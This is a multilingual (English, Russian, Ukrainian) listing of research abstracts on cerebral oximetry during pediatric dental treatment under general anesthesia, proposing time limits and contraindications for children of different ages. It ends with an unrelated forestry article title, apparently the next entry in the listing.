Церебральна оксиметрія як метод моніторингу кисневого насичення головного мозку в дітей віком 7–12 років при санації ротової порожнини під загальним знеболюванням в амбулаторних умовах

The article presents the results of the assessment of the oxygen status of the brain during the period of rehabilitation of the oral cavity in conditions of general anesthesia. The aim of the study – the necessity of a time limit in children aged 7–12 years is substantiated in order to prevent the occurrence of cognitive dysfunctions of the brain against the background of hypoxic lesions. Materials and Methods. Assessment of the oxygen status of the brain during the rehabilitation of the oral cavity in conditions of general anesthesia (without intubation) was conducted on 31 children aged 7–12 years at the Dental Medical Center at the National Medical University named after O.  Bohomolets using neuromonitoring method – cerebral oximetry (blood gas monitoring device: 4-channel regional oximeter with EQUANOXTM technique, Bluetooth wireless technology and RS-232 (model 7600) (State Registration Certificate No. 12580/2013. Producer : Nonin Medical, Inc., USA). Results and Discussion. The decrease in rSO2 occurs with 40 min. The minimum value of rSO2 = 60.44 %. Identical to the minimum rSO2 value (60.44±0.46) % is between 55 and 56 min. During the dental intervention under general anesthesia, complications in the form of laryngospasm were noted in 12.9 %. Among children who had a history of laryngospasm complications, 75 % had a history of less than 2 weeks after complete recovery for acute respiratory disease (ARD). Therefore, we considered that inflammatory processes of the respiratory mucosa play a significant role in the occurrence of laryngospasm against the background of age-related features of their anatomical structure. When laryngospasm rSO2 is (70.69±6.47) %, which is 6.42 % relative to the mean rSO2 of the respective age group (rSO2 = (75.54±2.27) %. The decrease in rSO2 is observed from 11 minutes. To 28 min. (≤20 min) is 8.26 % (rSO2 = (64.85±3.51) %. The maximum decrease occurred in 17 minutes (rSO2 = (60.25±4.08) %, accounting for 14.77 % of the total value (р˂0.05) and 7.09 % of the rSO2 index directly for laryngospasm. Therefore, the presence of a history of acute respiratory illness in children aged 7–12 years limits the provision of dental care in an outpatient setting under general anesthesia. Conclusions. The method of cerebral oximetry is an informative method of neuromonitoring when the behavior of oral sanitation under conditions of general anesthesia is performed. Dental rehabilitation of the oral cavity on an outpatient basis under general anesthesia for children aged 7–12 years should be carried out within (40±15) min. A contraindication to scheduled oral sanitation under general anesthesia in outpatient settings for children aged 7–12 years has acute respiratory infections in the anamnesis of less than 2 weeks. If there is a history of acute respiratory infections in less than 2 weeks and an acute dental need, emergency care under general anesthesia in outpatient settings for children aged 7–12 years is possible within 10 min.В статье представлены результаты оценки кислородного статуса головного мозга в период санации полости рта в условиях общего обезболивания. Цель исследования – обосновать необходимость ограничения во времени у детей в возрасте 7–12 лет с целью предотвращения возникновения когнитивных дисфункций головного мозга на фоне гипо-ксических поражений. Материали и методы. Оценка кислородного статуса головного мозга в период санации полости рта в условиях общего обезболивания (без интубации) проведена 31 ребенку в возрасте 7–12 лет на базе Стоматологического медицинского центра при Национальном медицинском университете имени А. А. Богомольца при помощи метода нейромониторинга – церебральной оксиметрии  (аппарат для мониторинга газа крови: 4-канальный региональный оксиметр с техникой EQUANOXTM, техникой беспроводной связи Bluetooth и RS-232 (модель 7600) (свидетельство о государственной регистрации № 12580/2013. Производитель: Nonin Medical, Inc., USA). Результаты исследований и их обсуждение. Снижение показателя rSO2 происходит с 40 мин. минимально допустимое значение rSO2=60,44 %. Соответственно минимальному значению rSO2 (60,44±0,46) %  находится между  55 та 56 мин. Во время проведения стоматологического лечения под общим обезболиванием отмечено осложнения в виде ларингоспазма у 12,9 %. Среди детей, которые имели осложнения в виде ларингоспазма, у 75 % в анамнезе отмечали менее чем 2 недели после полного выздоровления по поводу острых респираторных заболеваний (ОМЗ). Поэтому мы считали, что значимую роль в возникновении ларингоспазма играют воспалительные процесы слизистой оболочки дыхательных путей на фоне возрастных особенностей их анатомического строения. При ларингоспазме rSO2 составляет (70,69±6,47) %, что ↓6,42 % по отношению к середнему показателю rSO2 соответствующей возрастной группы (rSO2=(75,54±2,27) %). Снижение показателя rSO2 отмечается с 11 мин по 28 мин (≤20 мин) на 8,26 % (rSO2=(64,85±3,51) %). максимальное снижение произошло на 17 мин (rSO2=(60,25±4,08) %), что составило 14,77 % от общего значения (р˂0,05) и 7,09 % от показателя rSO2 непосредственно при ларингоспазме. Для подтверждения зависимости возможности возникно-вения отклонения от вемени полной реабилитации после воспалительных процессов дыхательных путей нами проведен анализ показателей rSO2 у 2-х группах. Итак, наличие в анамнезе острых респираторных заболеваний у детей в возрасте 7–12 лет ограничивает оказание стоматологической помощи в амбулаторных условиях под общим обезболиванием. Выводы. метод церебральной оксиметрии есть информативным методом нейромониторинга при поведении санации полости рта в условиях общего обезболивания. Стоматологическую санацию полости рта в амбулаторных условиях под общим обезболиванием детям в возрасте 7–12 лет стоит проводить в границах (40±15) мин. Противопоказанием к плановому проведению санации по-лости рта под общим обезболиванием в амбулаторных услвиях у детей в возрасте 7–12 лет есть острые респираторные заболевания в анамнезе менее чем 2 недели. При наличии в анамнезе острых респираторных заболеваний менее чем 2 недели и острой стоматологической необходимостью, оказание скорой помощи под общим обезболиванием в амбулаторных услвиях у детей в возрасте 7–12 лет возможно в границах 10 мин.В статті представлено результати оцінки кисневого статусу головного мозку в період санації ротової порожнини в умовах загального знеболювання. Мета дослідження – обґрунтувати необхідність обмеження в часі у дітей віком 7–12 років з метою запобігання виникнення  когнітивних дисфункцій головного мозку на тлі гіпоксичних уражень. Матеріали і методи. Оцінку кисневого статусу головного мозку в період санації ротової порожнини в умовах загального знеболювання (без інтубації) проведено 31 дитині віком 7–12 років на базі Стоматологічного медичного центра при Національному медичному університеті імені О. О. Богомольця за допомогою методу нейромоніторингу – церебральної оксиметрії  (апарат для моніторингу газу крові: 4-канальний регіональний оксиметр з технікою EQUANOXTM, технікою безпровідного зв’язку Bluetooth та RS-232 (модель 7600) (свідоцтво про державну реєстрацію № 12580/2013. Виробник: Nonin Medical, Inc., USA). Результати досліджень та їх обговорення. Зниження показника rSO2 відбувається з 40 хв. Мінімально допустиме значення rSO2=60,44 %. Тотожне мінімальному значенню rSO2 (60,44±0,46) % знаходиться  між 55 та 56 хв. Під час проведення стоматологічного втручання під загальним знеболюванням відмічено ускладнення у вигляді ларингоспазму в 12,9 %. Серед дітей, які мали ускладнення у вигляді ларингоспазму в 75 % у анамнезі відмічали менш ніж 2 тижні після повного одужання з приводу гострих респіраторних захворювань (ГРЗ). Тому ми вважали, що значну роль у виникненні ларингоспазму відіграють  запальні процеси слизової оболонки дихальних шляхів на тлі вікових особливостей їх анатомічної будови. При ларингоспазмі rSO2 становить (70,69±6,47) %, що ↓6,42 %  відносно середнього показника rSO2 відповідної вікової групи (rSO2=(75,54±2,27) %). Зниження показника rSO2 відмічається з 11 хв до 28 хв (≤20 хв) на 8,26 % (rSO2=(64,85±3,51) %. Максимальне зниження відбулося на 17 хв (rSO2=(60,25±4,08) %, що склало 14,77 % від загального значення (р˂0,05) та 7,09 % від показника rSO2 безпосередньо при ларингоспазмі. Для доведення залежності можливості виникнення ускладнення від терміну повної реабілітації після запальних процесів дихальних шляхів ми провели аналіз показників rSO2 у 2-х групах. Отже, наявність в анамнезі гострих респіраторних захворювань у дітей віком 7–12 років обмежує надання стоматологічної допомоги в амбулаторних умовах під загальним знеболюванням. Висновки. Метод церебральної оксиметрії є інформатиним методом нейромоніторингу при проведенні санації ротової порожнини в умовах загального знеболювання. Стоматологічну санацію ротової порожнини в амбулаторних умовах під загальним знеболюванням дітям віком 7–12 років варто проводити в межах (40±15) хв. Протипоказанням для планового проведення санації ротової порожнини під загальним знеболюванням в амбулаторних умовах у дітей віком 7–12 років є гострі респіраторні захворювання в анамнезі менш ніж за 2 тижні. При наявності в анамнезі гострих ре­спіраторних захворювань менш ніж за 2 тижні та гострою стоматологічною потребою, надання швидкої допомоги під загальним знеболюванням в амбулаторних умовах у дітей віком 7–12 років можливо в межах 10 хв

ОБҐРУНТУВАННЯ ВИБОРУ МЕТОДУ ПРОВЕДЕННЯ САНАЦІЇ ПОРОЖНИНИ РОТА В ДІТЕЙ РАННЬОГО ВІКУ

Purpose: to establish a safe period of time for various dental procedures in children under the age of 3 years on an outpatient dental appointment; determine the indications for the rehabilitation of the oral cavity under general anesthesia. Materials and Methods. Dental examination and dental procedures of varying severity were performed for 110 children under the age of 3 years (432 teeth were treated) at the Dental Medical Center at the National Medical University named after O. O. Bohomolets. Children were divided into two groups depending on the choice of treatment method: group I – children, sanation of the oral cavity which was carried out in conditions of general anesthesia (38 children); group II – consisted of children whose oral sanation was performed without general anesthesia (72 children). In order to determine the oxygen saturation of the brain, the cerebral oximetry method was used. To predict cognitive changes against the background of organic brain disorders, we used the results of J. Meixensberger et. al. 1998, where the main task of the dentist was considered to prevent a decrease in cerebral oximetry by more than 20 %. Results. Indications for oral rehabilitation in conditions of general anesthesia: - superficial caries, regardless of its course at dm ≥6; - middle caries, regardless of its course at dm ≥2; - deep caries, chronic course with dm ≥2; - deep caries, acute course with dm ≥1; - chronic fibrous pulpitis with dm ≥1; - chronic periodontitis. Conclusions. The choice of the method of oral cavity rehabilitation in children under the age of 3 years does not depend on the type of temperament and type of phobia.Мета: встановити безпечний проміжок часу проведення різних стоматологічних маніпуляцій в дітей віком до 3-х років на амбулаторному стоматологічному прийомі. Визначити показання для проведення санації порожнини рота під загальним знеболюванням. Матеріали і методи. Стоматологічне обстеження та проведення стоматологічних маніпуляцій різного ступеня складності проведено 110 дітям віком до 3-х років (проліковано 432 зуба) на базі Стоматологічного медичного центру при Національному медичному університеті імені О. О. Богомольця. Дітей поділено на дві групи залежно від вибору методу лікування: І групу склали діти, санацію порожнини рота яким проводили за умов загального знеболювання (38 дітей); ІІ групу склали діти, санацію порожнини рота яким здійснювали без загального знеболювання (72 дитини). З метою визначення насичення киснем головного мозку застосовували метод церебральної оксиметрії. Для прогнозу когнітивних змін на фоні органічних порушень головного мозку ми використовували результати досліджень J. Meixensberger et al. (1998), де головним завданням стоматолога було не допустити зниження показників церебральної оксиметрії більше ніж на 20 %. Результати. Показання до проведення санації порожнини рота за умов загального знеболювання: – поверхневий карієс незалежно від його перебігу при кп ≥6; – середній карієс незалежно від його перебігу при кп ≥2; – глибокий карієс, хронічний перебіг при кп ≥2; – глибокий карієс, гострий перебіг при кп ≥1; – хронічний фіброзний пульпіт при кп ≥1; – хронічний періодонтит. Висновки. Вибір методу санації порожнини рота у дітей віком до 3-х років не залежить від виду темпераменту та типу фобій

Оцінка оксидативного статусу головного мозку під час проведення санації порожнини рота у дітей віком 3–7 років під загальним знеболюванням в амбулаторних умовах

Summary. Unfortunately, today, mental and behavioral disorders in children are quite common. It is proved that one of the main causes of cognitive decline is the disease of the small vessels of the brain. In the literature, there are data on the study of the relationship of cognitive impairment due to functional changes on the background of oxygen starvation of the brain. The aim of the study – the article presents the rationale for the need to limit the time for oral rehabilitation in an outpatient setting under general anesthesia in order to preserve the cognitive functions of the brain of the child due to its functional changes in violation of the oxygen status of cerebral vessels. Materials and Methods. The oral cavity sanation in the conditions of general anesthesia was conducted in 39 children aged 3–7 years on the basis of the Dental Medical Center at the National Medical University named after O. O. Bohomolets. This age group of children according to the classification of temperament (Thomas and Chess, 1997) includes: 11 children with “mild” temperament; 19 children – with «difficult» temperament; 9 children – temperament «long warms up». In order to monitor the oxygen status of the brain, cerebral oximetry was used. Results and Discussion. The linear decrease of rSO2 occurs from 43 minutes. To 60 min. rSO2 = (58.6±0.01) %, with a possible minimum value of 60.26 %. Min rSO2 within the normal range = (60.26±0.22) % is between 57 and 58 minutes. Therefore, in order to prevent the occurrence of brain hypoxia, dental rehabilitation of the oral cavity for children aged 3–7 years should be performed within (40±15) min. Respiratory complications (laryngospasm) in 10.25 % of children were noted during the rehabilitation of the oral cavity under general anesthesia. The mean rSO2 for laryngospasm is (68.83±7.39) %, which is 8.63 % relative to the mean rSO2 of the respective age group (rSO2 = (75.33±2.68) %). SO rSO2 of 16 min. 33 minutes each (≤20 min) by 11.42 % (rSO2 = (60.57±5.44) %). The peak of the decline occurred in 20–21 min. (rSO2 = (53.5±2.45 %) and accounted for 28.97 % of the total group value and 11.67 % of rSO2 directly for laryngospasm. In 75 % of children who had complications in the form of laryngospasm during the rehabilitation of the oral cavity under general anesthesia were noted ≤ 2 weeks after complete recovery for acute respiratory diseases (ARD). In order to study the effect of inflammatory processes of the respiratory tract on the possibility of complications in the process of dental rehabilitation in the outpatient setting under general anesthesia, we selected a group of children who had a history of ≥2 weeks but ≤ 4 weeks (group I) and analyzed the results indices of rSO2 with a group of children who had a history of ARD with a history of ≤ 2 weeks (group II) relative to those of rSO2 in the general group of children aged 3–7 years (group III). rSO2 in children of group I – (68.65±7.72) % ↓ rSO2 from 16 min to 32 minutes (≤20 min) is 14.59 % (rSO2 = (58.63±4.55) %). In the group II of children, rSO2 (74.92±6.84) %) coincides with rSO2 (74.84±6.63) %) in group III. Conclusions. Dental sanitation of the oral cavity under general anesthesia on an outpatient basis for children aged 3–7 years has a time limit (40±15) min. A contraindication for routine oral sanitation under general anesthesia on an outpatient basis is the presence of acute respiratory infections in the history of ≤ 2 weeks. In acute dental conditions, if there is a history of acute respiratory infections ≤ 2 weeks, ambulance care on an outpatient basis under general anesthesia is possible within 15 minutes. SpO2 values do not correlate with rSO2 indicators. The method of cerebral oximetry makes it possible to early detect changes in the oxygen balance of the brain and support it in time. The method of cerebral oximetry makes it possible to early detect changes in the oxygen balance of the brain and support it in time.Резюме. Психические и поведенческие расстройства у детей, к сожалению, являются достаточно распространенными. Доказано, что одной из основных причин когнитивного снижения являются заболевания мелких сосудов головного мозга. В литературе имеются данные об изучении взаимосвязи между когнитивными нарушениями вследствие функциональных изменений на фоне кислородного голодания мозга. Цель исследования – обосновать необходимость ограничения во времени проведения санации полости рта в амбулаторных условиях под общим обезболиванием с целью сохранения когнитивных функций головного мозга ребенка по причине его функциональных изменений при нарушении кислородного статуса церебральных сосудов. Материалы и методы. Санацию полости рта в условиях общего обезболивания проведено 39 детям 3–7 лет на базе Стоматологического медицинского центра при Национальном медицинском университете имени А. А. Богомольца. В данную возрастную группу детей, согласно классификации темперамента (Томас и Чесс, 1997), вошли: 11 детей с «легким» темпераментом; 19 – со «сложным» темпераментом; 9 детей – с темпераментом «долго разогревается». С целью мониторинга оксидативного статуса головного мозга использовали метод церебральной оксиметрии. Результаты исследований и их обсуждение. Линейное снижение показателя rSO2 происходит с 43 мин. На 60 мин rSO2 = (58,6±0,01) %, при возможном минимальном значении 60,26 %. Min rSO2, что входит в пределы нормы = (60,26±0,22) %, находится между 57 и 58 мин. Итак, с целью предупреждения возникновения гипоксии головного мозга стоматологическую санацию полости рта детям 3–7 лет следует проводить в пределах (40±15) мин. При проведении санации полости рта под общим обезболиванием было отмечено осложнения со стороны дыхательных путей (ларингоспазм) в 10,25 % детей. Среднее значение rSO2 при ларингоспазме составляет (68,83±7,39) %, что ↓ 8,63 % относительно среднего показателя rSO2 соответствующей возрастной группы (rSO2 = (75,33±2,68) %. ↓ rSO2 с 16 до 33 мин (≤20 мин) на 11,42 % (rSO2 = (60,57 5,44) %. Пик снижения был на 2–21 мин (rSO2 = (53,5±2,45) % и составил 28 97 % от общего значения группы и 11,67 % от показателя rSO2 непосредственно при ларингоспазме. в 75 % детей, имевших осложнения в виде ларингоспазма во время проведения санации полости рта под общим обезболиванием в анамнезе отмечали ≤2 недели после полного выздоровления по поводу острых респираторных заболеваний (ОРЗ). С целью исследования влияния воспалительных процессов дыхательных путей на возможность возникновения осложнения в процессе стоматологической санации в амбулаторных условиях под общим обезболиванием выбрана группа детей, которые имели ОРЗ в анамнезе ≥2 недель но ≤4 (I группа) и проведен анализ результатов показателей rSO2 с группой детей, которые имели ОРЗ в анамнезе ≤2 недель (II группа) относительно показателей rSO2 общей группы детей 3–7 лет (III группа). rSO2 у детей I группы – (68,65±7,72%. ↓ rSO2 с 16 мин до 32 (≤20 мин) на 14,5% (rSO2 = (58,63±4,55). Во второй группе детей rSO2 (74,84±6,84)% совпадает с rSO2 (74 84±6,63)% в III группе. Выводы. Проведение стоматологической санации полости рта под общим обезболиванием в амбулаторных условиях детям в возрасте 3–7 лет имеет ограничение во времени (40±15 мин). Противопоказанием для планового проведения санации полости рта под общим обезболиванием в амбулаторных условиях есть наличие ОРЗ в анамнезе ≤ 2 недели. При острых стоматологических состояниях и при наличии в анамнезе ОРЗ ≤ 2 недели, оказание скорой помощи в амбулаторных условиях под общим обезболиванием возможно в пределах 15 мин. Показатели SpO2 не корелируют с показателями rSO2. Метод церебральной оксиметрии дает возможность раннего выявления изменений кислородного баланса головного мозга и вовремя его поддержать.Резюме. Психічні та поведінкові розлади у дітей, на жаль, є досить поширеними. Доведено, що однією з основних причин когнітивного зниження є захворювання дрібних судин головного мозку. В літературі є дані про вивчення взаємозв’язку між когнітивними порушеннями унаслідок функціональних змін на тлі кисневого голодування мозку. Мета дослідження – обґрунтувати необхідність обмеження в часі проведення санації порожнини рота в амбулаторних умовах під загальним знеболюванням з метою збереження когнітивних функцій головного мозку дитини з причини його функціональних змін при порушенні кисневого статусу церебральних судин. Матеріали і методи. Санацію порожнини рота в умовах загального знеболювання проведено 39 дітям віком 3–7 років на базі Стоматологічного медичного центру при Національному медичному університеті імені О. О. Богомольця. У дану вікову групу дітей, згідно з класифікацією темпераменту (Томас та Чесс, 1997), ввійшли: 11 дітей з «легким» темпераментом; 19 – зі «складним» темпераментом; 9 дітей – з темпераментом «довго розігрівається». З метою моніторингу оксидативного статусу головного мозку використовували метод церебральної оксиметрії. Результати досліджень та їх обговорення. Лінійне зниження показника rSO2 відбувається з 43 хв. На 60 хв rSO2=(58,6±0,01) %, при можливому мінімальному значенні 60,26 %. Min rSO2, що входить в межі норми = (60,26±0,22) %, знаходиться між 57 та 58 хв. Отже, з метою попередження виникнення гіпоксії головного мозку стоматологічну санацію порожнини рота дітям віком 3–7 років варто проводити в межах (40±15) хв. При проведенні санації порожнини рота під загальним знеболюванням було відмічено ускладнення з боку дихальних шляхів (ларингоспазм) у 10,25 % дітей. Середнє значення rSO2 при ларингоспазмі становить (68,83±7,39) %, що ↓8,63 % відносно середнього показника rSO2 відповідної вікової групи (rSO2=(75,33±2,68) %). ↓rSO2 з 16 до 33 хв (≤20 хв) на 11,42 % (rSO2=(60,57±5,44) %). Пік зниження був на 20–21 хв (rSO2=(53,5±2,45) % і склав 28,97 % від загального значення групи та 11,67 % від показника rSO2 безпосередньо при ларингоспазмі. У 75 % дітей, що мали ускладнення у вигляді ларингоспазму під час проведення санації порожнини рота під загальним знеболюванням в анамнезі, відмічали ≤2 тижні після повного одужання з приводу гострих респіраторних захворювань (ГРЗ). З метою дослідження впливу запальних процесів дихальних шляхів на можливість виникнення ускладнення в процесі стоматологічної санації в амбулаторних умовах під загальним знеболюванням вибрана група дітей, які мали ГРЗ в анамнезі ≥2 тижнів, але ≤4 (I група) та проведений аналіз результатів показників rSO2 з групою дітей, які мали ГРЗ в анамнезі ≤2 тижнів (ІІ група) відносно показників rSO2 загальної групи дітей віком 3–7 років (ІІІ група). rSO2 у дітей І групи – (68,65±7,72) %. ↓ rSO2 з 16 хв до 32 (≤20 хв) на 14,59 % (rSO2=(58,63±4,55). У ІІ групі дітей rSO2 (74,92±6,84) % збігається з rSO2 (74,84±6,63) % у ІІІ групі. Висновки. Проведення стоматологічної санації порожнини рота під загальним знеболюванням в амбулаторних умовах дітям віком 3–7 років має обмеження в часі (40±15) хв. Протипоказанням для планового проведення санації порожнини рота під загальним знеболюванням в амбулаторних умовах є ГРЗ в анамнезі ≤2 тижні. При гострих стоматологічних станах, за наявності в анамнезі ГРЗ ≤ 2 тижні надання швидкої допомоги в амбулаторних умовах під загальним знеболюванням можливо в межах 15 хв. Показники SpO2 не корелюють з показниками rSO2. Метод церебральної оксиметрії дає можливість раннього виявлення змін кисневого балансу головного мозку та вчасно його підтримати

Оцінка оксидативного статусу головного мозку в дітей віком до 3 років на амбулаторному стоматологічному прийомі

Summary. The health of the nation as a whole depends on the health, in particular of the younger generation. Unfortunately, the social, economic and environmental conditions that have developed in the country in recent years do not contribute to stability, and hence the psychological balance of the adult population, which, in turn, negatively affects the psychoemotional state of the child population. The aim of the study – to learn the dynamics of cerebral oximetry in children during dental interventions under general anesthesia on an outpatient basis and on an outpatient basis; establish a safe time interval for dental manipulations of different nature at the dental outpatient reception and the time of rehabilitation of the oral cavity under general anesthesia in children aged 0 to 3 years. Materials and Methods. The oral cavity was rehabilitated in children under 3 years of age on an outpatient basis (72 children) under general anesthesia (38 children) at the Dental Medical Center of O. Bohomolets National Medical University. Assessment of oxygen saturation of the brain was performed using a non-invasive neuromonitoring method – cerebral oximetry. Results and Discussion. When carrying out in children under 3 years of preventive measures the reduction of rSO2 at the dental outpatient reception is linear without sharp fluctuations and at 7 minute makes (62.8±0.67) % which is 18.33 % from the initial value of rSO2 (76.9 ±1.18) %. Significant difference of these indicators in the presence of "elementary" (rSO2=(63±0.01) %  (7’) ‒ ↓19.74 %) and "cryptogenic" (rSO2 = (62.7±0.94) %  (7') ‒ ↓ 17.39 %) of phobias were not detected. When performing the procedure of "caries treatment" at the dental outpatient reception in children aged 0–3 years, a decrease in the rSO2 indicator to a critical level ‒ ↓ 21.67 % for 8 minutes (rSO2 = (60±2.09) % from the initial value of (76.6±2.6) %. Decrease in rSO2 in dental caries related to dental caries is an average of 1.5 % per minute. Therefore, for 7 minutes. manipulation of the caries treatment rSO2 reaches a critical level of 20.17 %. Significant difference of these indicators during the procedure of "caries treatment" in the presence of "elementary" (rSO2 = (60±2.13) %  (8 ') ‒ ↓ 24.05 %) and "cryptogenic" (rSO2 = (60±2.31) % (8 ') ‒ ↓ 19.46 %) of phobias were not detected. During the procedure of "treatment of complicated caries" at the dental outpatient reception in children aged 0–3 years, a decrease in rSO2 to a critical level - ↓ 20 % at 6 minute (rSO2 = (60±2.04) % from the initial value of (75±2.96) %. Significant difference of these indicators during the procedure of "treatment of complicated caries" in the presence of "elementary" (rSO2 = (61±1.21) %  (6 ') ‒ ↓ 21.39 %) and "cryptogenic" (rSO2 = (58.9±2.29) % (6 ') -‒↓ 18.65 %) of phobias were also not detected. According to the results of the study, the optimal time of various dental manipulations at the outpatient dental reception in children from 0 to 3 years was established: "preventive" = 7-8 minutes; "caries treatment" = 8 minutes; "treatment of complicated caries" = 6 min. Analysis of the results of cerebral oximetry in the rehabilitation of the oral cavity in conditions of general anesthesia in children aged 0 to 3 years showed: a linear decrease in rSO2 begins from 30 min. The lowest rSO2 value = (62.5±6.36) % is at 41 min, with a possible min rSO2 = 61.45 %. On average, 1 min. rSO2↓ is 1.2. When predicted, the minimum permissible value of rSO2 will reach at 42 minute. Therefore, a safe time interval for dental rehabilitation under general anesthesia in an outpatient setting in children aged 0 to 3 years is (30±10) minutes. Conclusions. Therefore, in order to prevent the occurrence of cognitive impairment against the background of brain hypoxia, the dentist is obliged to objectively assess the risks of psychological trauma against the background of the dental status and make a well-informed decision on the conditions of dental care. The choice of dental treatment based on the stage of their development depends on the amount of dental intervention.Резюме. Здоровье нации в целом зависит от здоровья, в частности подрастающего поколения. К сожалению, социально-бытовые, экономические и экологические условия, которые сложились в стране в последние годы, не способствуют стабильности, а отсюда и психологической равновесии взрослого населения, что, в свою очередь, негативно влияет на психоэмоциональное состояние населения детского возраста Цель исследования. Изучить динамику показателей церебральной оксиметрии у детей во время стоматологического вмешательства под общим обезболиванием в амбулаторных условиях и на амбулаторном приеме. Материалы и методы. Проведена санация полости рта у детей до 3 лет в амбулаторных условиях (72 ребенка), в амбулаторных условиях под общим обезболиванием (38 детей) на базе Стоматологического медицинского центра при Национальном медицинском университете имени А. А. Богомольца. Оценку кислородного насыщения головного мозга проводили с помощью неинвазивного метода нейромониторинга – церебральной оксиметрии. Результаты исследований и их обсуждение. При проведении у детей в возрасте до 3 лет профилактических мероприятий снижение rSO2 на стоматологическом амбулаторном приеме происходит линейно без резких скачков и на 7 мин становит (62,8±0,67) % что составляет 18,33 % от начального значения rSO2 (76,9±1,18) %. Достоверной разницы между данными показателями при наличии «элементарных» (rSO2=(63±0,01(7’) ‒ ↓19,74) %) и «криптогенных» (rSO2=(62,7±0,94(7’) ‒↓17,39) % фобий не выявлено. При проведении процедуры «лечения кариеса» на стоматологическом амбулаторном прийоме у детей в возрасте 0–3 года установлено снижение показателя rSO2 до критического уровня ‒ ↓21,67 % на 8 мин (rSO2=60±2,09) % от начального значения (76,6±2,6) %. Сижение rSO2 при стоматологических манипуляциях при «лечении кариеса» происходит в среднем 1,5 % за 1мин. Поэтому уже на 7 мин проведения манипуляции «лечения кариаеса» rSO2 достигает начала критического уровня и составляет 20,17 %. Достоверной разницы между данными показателями во время проведения процедуры «лечения кариаеса» при наличии «элементарных» (rSO2=(60±2,13(8’) ‒↓24,05) % и «криптогенных» (rSO2=(60±2,31(8’) ‒ ↓19,46) %) фобий не выявлено. При проведении процедуры «лечения осложненного кариеса» на стоматологическом амбулаторном прийоме у детей в возрасте 0–3 года установлено снижение показателя rSO2 до критического уровня ‒↓20 % на 6 мин (rSO2=(60±2,04) % от начального значения (75±2,96) %. Достоверной разницы между данными показателями во время процедуры «лечения осложненного кариеса» при наличии «элементарных» (rSO2=(61±1,21(6’) ‒↓21,39) % и «криптогенных» (rSO2=(58,9±2,29) (6’) ‒↓18,65) фобий тоже не выявлено. По результатам исследования установлено оптимальное время проведения различных стоматологических манипуляций на амбулаторном стоматологическом приеме у детей в возрасте до 3 лет: «профилактических» = 7–8 мин; «лечение кариеса» = 8 мин; «лечение осложненного кариеса» = 6 мин. Анализ результатов церебральной оксиметрии при санации полости рта в условиях общего обезболивания у детей в возрасте от 0 до 3 лет показал: линейное снижение показателя rSO2 начинается с 30 мин. Самое низкое значение rSO2 =(62,5±6,36) % на 41 мин, при возможном min rSO2 =61,45 %. В среднем за 1 мин rSO2↓ на 1,21 %. При прогнозе минимально допустимого значения rSO2 достигнет на 42 мин. Поэтому безопасный промежуток времени проведения стоматологической санации под общим обезболиванием в амбулаторных условиях у детей в возрасте от 0 до 3-х лет составляет (30±10) мин. Выводы. С целью предупреждения возникновения когнитивных нарушений на фоне возникновения гипоксии головного мозга врач-стоматолог детский обязан обьективно оценить риски возникновения писхологической травмы и принять решение касательно условий оказания стоматологической помощи. Выбор метода лечения зубов с учетом стадии их развития зависит от обьема оказания стоматологической помощи.Резюме. Здоров’я нації у цілому залежить від здоров’я, зокрема підростаючого покоління. На жаль, соціально-побутові, економічні та екологічні умови, які склалися в країні останніми роками, не сприяють стабільності, а звідси і психологічній рівновазі дорослого населення, що, у свою чергу, негативно впливає на психоемоційний стан населення дитячого віку. Мета дослідження – вивчити динаміку показників церебральної оксиметрії у дітей під час стоматологічного втручання під загальним знеболюванням в амбулаторних умовах та на амбулаторному прийомі. Матеріали і методи. Проведено санацію порожнини рота у дітей віком до 3 років в амбулаторних умовах (72 дитини), в амбулаторних умовах під загальним знеболенням (38 дітей) на базі Стоматологічного медичного центру при Національного медичного університету імені О. О. Богомольця. Оцінку кисневого насичення головного мозку проводили за допомогою неінвазивного методу нейромоніторинга ‒ церебральної оксиметрії. Результати досліджень та їх обговорення. При проведенні у дітей віком до 3-х років профілактичних заходів зниження rSO2 на стоматологічному амбулаторному прийомі відбувається лінійно без різких коливань і на 7 хвилині становить (62,8±0,67) % що складає 18,33 % від початкового значення rSO2 (76,9±1,18) %. Достовірної різниці між даними показниками при наявності «елементарних» (rSO2=(63±0,01(7’) ‒↓19,74) % та «криптогенних» (rSO2=(62,7±0,94(7’) ‒↓17,39) % фобій не виявлено. При проведенні процедури «лікування карієсу» на стоматологічному амбулаторному прийомі у дітей віком 0–3 роки встановлено зниження показника rSO2 до критичного рівня ‒↓21,67 % на 8 хв (rSO2=60±2,09) % від початкового значення (76,6±2,6) %. Зниження rSO2 при стоматологічних маніпуляцій, пов’язаних з «лікуванням карієсу» відбувається в середньому 1,5 % за 1хв. Тому вже на 7 хв проведення маніпуляції з приводу «лікування карієсу» rSO2 досягає початку критичного рівня і становить 20,17 %. Достовірної різниці між даними показниками під час проведення процедури «лікування карієсу» при наявності «елементарних» (rSO2=(60±2,13(8’) ‒↓24,05) %) та «криптогенних» (rSO2=60±2,31(8’) ‒ ↓19,46) %) фобій не виявлено. При проведенні процедури «лікування ускладненого карієсу» на стоматологічному амбулаторному прийомі у дітей віком 0–3 роки встановлено зниження показника rSO2 до критичного рівня ‒↓20 % на 6 хв (rSO2=60±2,04) % від початкового значення (75±2,96) %. Достовірної різниці між даними показниками під час проведення процедури «лікування ускладненого карієсу» при наявності «елементарних» (rSO2=61±1,21(6’) ‒↓21,39 %) та «криптогенних» (rSO2=58,9±2,29 % (6’) ‒↓18,65 %) фобій також не виявлено. За результатами дослідження встановлено оптимальний час проведення різних стоматологічних маніпуляцій на амбулаторному стоматологічному прийомі у дітей віком від 0 до 3 років: «профілактичних» = 7–8 хв; «лікування карієсу» = 8 хв; «лікування ускладненого карієсу» = 6 хв. Аналіз результатів церебральної оксиметрії при санації порожнини рота в умовах загального знеболювання у дітей віком від 0 до 3 років показав: лінійне зниження показника rSO2 починається з 30 хв. Найнижче значення rSO2 = (62,5±6,36) % на 41 хв, при можливому min rSO2 =61,45 %. У середньому за 1 хв rSO2↓ на 1,21 %. При прогнозі мінімально допустимого значення rSO2 досягне на 42 хв. Тому безпечний проміжок часу проведення стоматологічної санації під загальним знеболюванням в амбулаторних умовах у дітей віком від 0 до 3 років складає (30±10) хв. Висновки. З метою попередження виникнення когнітивних порушень на тлі виникнення гіпоксії головного мозку лікар-стоматолог дитячий зобов’язаний об’єктивно оцінити ризики психологічної травми та прийняти виважене рішення щодо умов надання стоматологічної допомоги. Вибір методу лікування зубів з урахуванням стадії їх розвитку залежить від об’єму стоматологічного втручання

Дендрокліматологічні дослідження сосни звичайної в насадженні Лівобережного лісостепу України

